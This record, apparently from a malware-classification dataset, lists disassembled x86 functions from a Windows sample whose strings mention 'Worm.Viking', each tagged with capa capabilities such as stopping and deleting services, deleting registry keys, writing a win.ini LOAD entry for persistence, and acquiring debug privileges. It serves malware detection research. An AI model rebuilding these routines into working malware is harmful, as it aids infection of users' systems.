joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409eda
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push edi
mov ax, word [0x42d41c]
mov word [ebp - 0x408], ax
mov byte [ebp - 0x400], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x418], 0x400
cmp dword [ebp + 8], 0
jne 0x409f21
xor eax, eax
jmp 0x40a01b
mov dword [ebp - 0x414], 1
mov dword [ebp - 0x410], 0
mov dword [ebp - 0x40c], 0
jmp 0x409f50
mov ecx, dword [ebp - 0x40c]
add ecx, 1
mov dword [ebp - 0x40c], ecx
cmp dword [ebp - 0x40c], 2
jae 0x409f9c
lea edx, [ebp - 0x400]
push edx
mov eax, dword [ebp - 0x40c]
mov ecx, dword [ebp + eax*4 - 0x414]
push ecx
lea ecx, [ebp - 0x404]
call fcn.0040c9cc
lea edx, [ebp - 0x400]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0040b5d0
add esp, 8
test eax, eax
jne 0x409f9a
mov eax, 1
jmp 0x40a01b
jmp 0x409f41
mov ecx, dword [ebp - 0x418]
push ecx
lea edx, [ebp - 0x400]
push edx
push str.PATH
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x409fbd
xor eax, eax
jmp 0x40a01b
lea eax, [ebp - 0x408]
push eax
lea ecx, [ebp - 0x400]
push ecx
call fcn.0040b5b0
add esp, 8
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0
je 0x40a019
mov edx, dword [ebp - 0x41c]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0040b5d0
add esp, 8
test eax, eax
jne 0x40a000
mov eax, 1
jmp 0x40a01b
lea ecx, [ebp - 0x408]
push ecx
push 0
call fcn.0040b5b0
add esp, 8
mov dword [ebp - 0x41c], eax
jmp 0x409fd9
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x40a80e
Capabilities:
Query service configuration

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x429480
push 0x41fa58
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffe0
push ebx
push esi
push edi
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
cmp dword [ebp + 8], 0
je 0x40a860
cmp dword [ebp + 0xc], 0
jne 0x40a867
xor eax, eax
jmp 0x40a931
mov dword [ebp - 4], 0
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jne 0x40a885
jmp 0x40a8ef
push 1
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x28]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x40a8a0
jmp 0x40a8ef
push 0x1000
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x40a8b8
jmp 0x40a8ef
lea edx, [ebp - 0x1c]
push edx
push 0x1000
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigA]
test eax, eax
jne 0x40a8d5
jmp 0x40a8ef
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0041dfb0
add esp, 8
mov dword [ebp - 0x2c], 1
mov dword [ebp - 4], 0xffffffff
call fcn.0040a8fd
jmp 0x40a92e
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40a942
Capabilities:
Delete service
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x429490
push 0x41fa58
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xffffffc8
push ebx
push esi
push edi
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
cmp dword [ebp + 8], 0
jne 0x40a98e
xor eax, eax
jmp 0x40aa8f
mov dword [ebp - 4], 0
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
jne 0x40a9af
jmp 0x40aa5d
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jne 0x40a9d0
jmp 0x40aa5d
lea edx, [ebp - 0x34]
push edx
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
jne 0x40a9e4
jmp 0x40aa5d
cmp dword [ebp - 0x30], 1
je 0x40aa46
lea ecx, [ebp - 0x34]
push ecx
push 1
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x40aa00
jmp 0x40aa46
mov dword [ebp - 0x48], 0
jmp 0x40aa12
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 3
jge 0x40aa46
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x38]
push edx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
mov dword [ebp - 0x44], eax
cmp dword [ebp - 0x44], 0
jne 0x40aa31
jmp 0x40aa46
cmp dword [ebp - 0x30], 1
jne 0x40aa39
jmp 0x40aa46
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40aa09
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x40aa56
jmp 0x40aa5d
mov dword [ebp - 0x40], 1
mov dword [ebp - 4], 0xffffffff
call fcn.0040aa6b
jmp 0x40aa8c
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c120
Capabilities:
Copy file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
xor eax, eax
cmp dword [ebp + 0x10], 0
sete al
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40c151
mov eax, 1
jmp 0x40c185
push 0x80
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40c16d
xor eax, eax
jmp 0x40c185
xor ecx, ecx
cmp dword [ebp + 0x10], 0
sete cl
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40c4fc
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40c51f
mov eax, 1
jmp 0x40c545
push 0x80
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x40c53b
xor eax, eax
jmp 0x40c545
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esp, ebp
pop ebp
ret 4
Function at 0x40c9cc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x14], ecx
mov dword [ebp - 8], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xe
ja case.0x40c9f7.5
mov edx, dword [ebp - 0x18]
xor ecx, ecx
mov cl, byte [edx + 0x40cb9a]
jmp dword [ecx*4 + 0x40cb82]
push 0x104
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x40cb01
push 0x104
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x40cb01
mov edx, dword [ebp + 0xc]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
jmp 0x40cb01
push 0x105
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [ebp + 0xc]
mov byte [ecx + 2], 0
jmp 0x40cb01
push 0x105
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.Recycled
mov eax, dword [ebp + 0xc]
add eax, 3
push eax
call fcn.0041dfb0
add esp, 8
jmp 0x40cb01
mov dword [ebp - 8], 1
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
sub edx, 3
mov dword [ebp - 0x1c], edx
cmp dword [ebp - 0x1c], 9
ja case.default.0x40ca9c
mov eax, dword [ebp - 0x1c]
jmp dword [eax*4 + 0x40cba9]
mov dword [ebp - 4], 7
jmp 0x40cb01
mov dword [ebp - 4], 0x18
jmp 0x40cb01
mov dword [ebp - 4], 0x10
jmp 0x40cb01
mov dword [ebp - 4], 0x19
jmp 0x40cb01
mov dword [ebp - 4], 2
jmp 0x40cb01
mov dword [ebp - 4], 0x17
jmp 0x40cb01
mov dword [ebp - 4], 0xb
jmp 0x40cb01
mov dword [ebp - 4], 0x16
jmp 0x40cb01
mov dword [ebp - 4], 0x26
jmp 0x40cb01
mov dword [ebp - 4], 5
jmp 0x40cb01
xor eax, eax
jmp 0x40cb7c
cmp dword [ebp - 8], 0
je 0x40cb77
push 0x42d5bc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x40cb1f
xor eax, eax
jmp 0x40cb7c
push 0x42d5c8
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40cb45
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x40cb7c
push 0
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push 0
call dword [ebp - 0x10]
test eax, eax
je 0x40cb69
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x40cb7c
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
jmp 0x40cb7c
mov eax, 1
mov esp, ebp
pop ebp
ret 8

Function at 0x40cc93
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x40ccc2
mov ecx, dword [ebp - 4]
and ecx, 0x10
test ecx, ecx
je 0x40ccc2
mov dword [ebp - 0xc], 1
jmp 0x40ccc9
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x40d9dc
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4285a4
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x448
lea ecx, [ebp - 0x340]
call fcn.00401e5c
mov dword [ebp - 4], 0
mov dword [0x545310], 0
mov dword [0x545314], 0
lea eax, [ebp - 0x444]
push eax
push 0xff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov dword [0x545330], 0
mov dword [0x545334], 0
lea ecx, [ebp - 0x444]
mov dword [ebp - 0x344], ecx
jmp 0x40da73
mov edx, dword [ebp - 0x344]
push edx
call fcn.0041df30
add esp, 4
mov ecx, dword [ebp - 0x344]
lea edx, [ecx + eax + 1]
mov dword [ebp - 0x344], edx
mov eax, dword [ebp - 0x344]
push eax
call fcn.0041df30
add esp, 4
test eax, eax
jbe 0x40daf9
mov ecx, dword [ebp - 0x344]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
je 0x40da9a
jmp 0x40da54
push 0
lea edx, [ebp - 0x44c]
push edx
push 0
mov eax, dword [ebp - 0x344]
push eax
call fcn.00410d02
add esp, 0x10
test eax, eax
je 0x40dade
mov ecx, dword [0x545330]
add ecx, dword [ebp - 0x44c]
mov edx, dword [0x545334]
adc edx, dword [ebp - 0x448]
mov dword [0x545330], ecx
mov dword [0x545334], edx
jmp 0x40daf4
mov dword [0x545330], 0xffffffff
mov dword [0x545334], 0
jmp 0x40daf9
jmp 0x40da54
mov eax, dword [0x545330]
or eax, dword [0x545334]
test eax, eax
jne 0x40db1c
mov dword [0x545330], 0xffffffff
mov dword [0x545334], 0
lea ecx, [ebp - 0x444]
mov dword [ebp - 0x344], ecx
jmp 0x40db49
mov edx, dword [ebp - 0x344]
push edx
call fcn.0041df30
add esp, 4
mov ecx, dword [ebp - 0x344]
lea edx, [ecx + eax + 1]
mov dword [ebp - 0x344], edx
mov eax, dword [ebp - 0x344]
push eax
call fcn.0041df30
add esp, 4
test eax, eax
jbe 0x40dbca
mov ecx, dword [ebp - 0x344]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp - 0x450], eax
cmp dword [ebp - 0x450], 3
je 0x40db7a
jmp 0x40db2a
push 0x545318
mov edx, dword [ebp - 0x344]
push edx
call fcn.00410eba
add esp, 8
test eax, eax
jne 0x40db9c
mov dword [0x545318], 0x1000
push 0x40dbfa
push 0x42ddc0
push 1
mov eax, dword [ebp - 0x344]
push eax
lea ecx, [ebp - 0x340]
call fcn.00401412
lea ecx, [ebp - 0x340]
call fcn.00401642
jmp 0x40db2a
mov dword [ebp - 0x454], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x340]
call fcn.00401eb8
mov eax, dword [ebp - 0x454]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x40e4c3
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4285e3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x148
push edi
mov dword [ebp - 0x124], 0
xor eax, eax
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x148], 0
lea ecx, [ebp - 0x144]
call fcn.0040d240
mov dword [ebp - 4], 0
mov byte [ebp - 0x114], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x118], 0
push 0x42ddd4
push 0x104
lea ecx, [ebp - 0x114]
push ecx
push 0x55145c
push 0x42dddc
push 0x42dde4
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0xffffffffffffffff
push 0x1000
lea edx, [ebp - 0x124]
push edx
lea eax, [ebp - 0x114]
push eax
call fcn.004107d6
add esp, 0x10
test eax, eax
jne 0x40e5a7
mov dword [ebp - 0x14c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x144]
call fcn.00408080
mov eax, dword [ebp - 0x14c]
jmp 0x40e6c0
push str.win.ini
push 0x551460
push str.LOAD
push str.Windows
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov dword [ebp - str.Worm.Viking], 0x42d628
mov dword [ebp - 0x10], 0x20
mov dword [ebp - 0x128], 1
jmp 0x40e5ed
mov ecx, dword [ebp - 0x128]
add ecx, 1
mov dword [ebp - 0x128], ecx
mov edx, dword [ebp - 0x128]
cmp edx, dword [ebp - 0x10]
jge 0x40e66f
mov eax, dword [ebp - 0x128]
shl eax, 4
mov ecx, dword [ebp - 0x148]
mov edx, dword [ecx + eax + 4]
cmp edx, dword [ebp - 0x124]
jne 0x40e649
mov eax, dword [ebp - 0x128]
shl eax, 4
mov ecx, dword [ebp - 0x148]
mov edx, dword [ecx + eax + 8]
cmp edx, dword [ebp - 0x120]
jne 0x40e649
mov eax, dword [ebp - 0x128]
shl eax, 4
mov ecx, dword [ebp - 0x148]
mov edx, dword [ecx + eax + 0xc]
cmp edx, dword [ebp - 0x11c]
je 0x40e64b
jmp 0x40e5de
mov dword [ebp - 0x150], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x144]
call fcn.00408080
mov eax, dword [ebp - 0x150]
jmp 0x40e6c0
push 0x104
lea eax, [ebp - 0x114]
push eax
push 0x545340
call fcn.004201f0
add esp, 0xc
push 0xc
lea ecx, [ebp - 0x124]
push ecx
push 0x42d62c
call fcn.0041e9e0
add esp, 0xc
mov dword [ebp - 0x154], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x144]
call fcn.00408080
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x40ec85
Capabilities:
Get common file path
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x70c
lea eax, [ebp - 0x504]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x40ecab
xor eax, eax
jmp 0x40ee10
lea ecx, [ebp - 0x708]
push ecx
push 1
push 0x42e0bc
lea edx, [ebp - 0x504]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
jne 0x40ecd1
xor eax, eax
jmp 0x40ee10
push 0x42e0c0
mov eax, dword [ebp + 8]
push eax
call fcn.0041ee7c
add esp, 8
mov dword [ebp - 0x70c], eax
cmp dword [ebp - 0x70c], 0
jne 0x40ecf8
xor eax, eax
jmp 0x40ee10
push 0x42e0c4
lea ecx, [ebp - 0x708]
push ecx
call fcn.0041ee7c
add esp, 8
mov dword [ebp - 0x508], eax
cmp dword [ebp - 0x508], 0
jne 0x40ed31
mov edx, dword [ebp - 0x70c]
push edx
call fcn.0041f2ea
add esp, 4
xor eax, eax
jmp 0x40ee10
mov eax, dword [ebp - 0x70c]
mov ecx, dword [eax + 0xc]
and ecx, 0x10
test ecx, ecx
jne 0x40edbc
mov byte [ebp - 0x400], 0
mov edx, dword [ebp - 0x70c]
push edx
push 0x400
lea eax, [ebp - 0x400]
push eax
call fcn.0041f809
add esp, 0xc
movsx ecx, byte [ebp - 0x400]
cmp ecx, 0x23
je 0x40eda1
push 0x42e0c8
lea edx, [ebp - 0x400]
push edx
call fcn.004200c0
add esp, 8
test eax, eax
je 0x40eda1
push str.localhost
lea eax, [ebp - 0x400]
push eax
call fcn.004200c0
add esp, 8
test eax, eax
jne 0x40eda1
jmp 0x40ed31
mov ecx, dword [ebp - 0x508]
push ecx
lea edx, [ebp - 0x400]
push edx
call fcn.00420323
add esp, 8
jmp 0x40ed31
mov eax, dword [ebp - 0x70c]
push eax
call fcn.0041f2ea
add esp, 4
mov ecx, dword [ebp - 0x508]
push ecx
call fcn.0041f2ea
add esp, 4
push 0x80
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x708]
push ecx
call fcn.00405886
add esp, 8
lea edx, [ebp - 0x708]
push edx
call fcn.004202ee
add esp, 4
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x40f0ce
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40f105
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x40f1ba
mov ecx, 1
test ecx, ecx
je 0x40f196
mov dword [ebp - 0xc], 0x80
push 0
push 0
push 0
push 0
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x10c]
push eax
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
jne 0x40f141
jmp 0x40f196
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x8c]
push eax
call fcn.0041dfb0
add esp, 8
push 0x42e0e4
lea ecx, [ebp - 0x8c]
push ecx
call fcn.0041dfc0
add esp, 8
lea edx, [ebp - 0x10c]
push edx
lea eax, [ebp - 0x8c]
push eax
call fcn.0041dfc0
add esp, 8
lea ecx, [ebp - 0x8c]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0040f0ce
add esp, 8
jmp 0x40f105
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov dword [ebp - 8], eax
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp dword [ebp - 8], 0
sete al
mov esp, ebp
pop ebp
ret

Function at 0x40f1be
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 0xc], 0xf003f
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40f1f4
xor eax, eax
jmp 0x40f223
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
je 0x40f214
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x40f223
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x40f29e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x120], 0x104
mov dword [ebp - 0x118], 0x104
mov dword [ebp - 8], 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x40f391
mov dword [ebp - 0x120], 0x104
mov dword [ebp - 0x11c], 0
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x228]
push ecx
lea edx, [ebp - 0xc]
push edx
push 0
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x114]
push ecx
mov edx, dword [ebp - 0x11c]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x40f387
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x228]
push edx
call fcn.0040f39a
add esp, 8
test eax, eax
je 0x40f35f
lea eax, [ebp - 0x114]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0040f1be
add esp, 0xc
mov dword [ebp - 0x120], 0x104
mov dword [ebp - 0x118], 0x104
mov eax, dword [ebp - 0x11c]
add eax, 1
mov dword [ebp - 0x11c], eax
jmp 0x40f2fa
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4102f8
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 4], 0
lea eax, [ebp - 8]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x41036f
mov dword [ebp - 0x18], 1
lea ecx, [ebp - 0x14]
push ecx
push 0x42e0f8
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov edx, dword [ebp + 8]
neg edx
sbb edx, edx
and edx, 2
mov dword [ebp - 0xc], edx
push 0
push 0
push 0x10
lea eax, [ebp - 0x18]
push eax
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 4], eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x410b6d
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [ebp - 0x94], 0x94
lea eax, [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x410ba2
mov dword [ebp - 0x98], 0
xor eax, eax
jmp 0x410cfe
mov dword [ebp - 0x98], 0
cmp dword [ebp - 0x90], 4
jne 0x410bd6
cmp dword [ebp - 0x8c], 0
jne 0x410bd6
cmp dword [ebp - 0x84], 1
jne 0x410bd6
mov dword [ebp - 0x98], 0x5f
jmp 0x410cee
cmp dword [ebp - 0x90], 4
jne 0x410c00
cmp dword [ebp - 0x8c], 0xa
jne 0x410c00
cmp dword [ebp - 0x84], 1
jne 0x410c00
mov dword [ebp - 0x98], 0x62
jmp 0x410cee
cmp dword [ebp - 0x90], 4
jne 0x410c2a
cmp dword [ebp - 0x8c], 0x5a
jne 0x410c2a
cmp dword [ebp - 0x84], 1
jne 0x410c2a
mov dword [ebp - 0x98], 0x63
jmp 0x410cee
cmp dword [ebp - 0x90], 3
jne 0x410c54
cmp dword [ebp - 0x8c], 0x33
jne 0x410c54
cmp dword [ebp - 0x84], 2
jne 0x410c54
mov dword [ebp - 0x98], 0x15f
jmp 0x410cee
cmp dword [ebp - 0x90], 4
jne 0x410c7b
cmp dword [ebp - 0x8c], 0
jne 0x410c7b
cmp dword [ebp - 0x84], 2
jne 0x410c7b
mov dword [ebp - 0x98], 0x28
jmp 0x410cee
cmp dword [ebp - 0x90], 5
jne 0x410ca2
cmp dword [ebp - 0x8c], 0
jne 0x410ca2
cmp dword [ebp - 0x84], 2
jne 0x410ca2
mov dword [ebp - 0x98], 0x7d0
jmp 0x410cee
cmp dword [ebp - 0x90], 5
jne 0x410cc9
cmp dword [ebp - 0x8c], 1
jne 0x410cc9
cmp dword [ebp - 0x84], 2
jne 0x410cc9
mov dword [ebp - 0x98], 0x7d2
jmp 0x410cee
cmp dword [ebp - 0x90], 5
jne 0x410cee
cmp dword [ebp - 0x8c], 2
jne 0x410cee
cmp dword [ebp - 0x84], 2
jne 0x410cee
mov dword [ebp - 0x98], 0x7d3
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x98]
mov dword [ecx], edx
mov eax, 1
mov esp, ebp
pop ebp
ret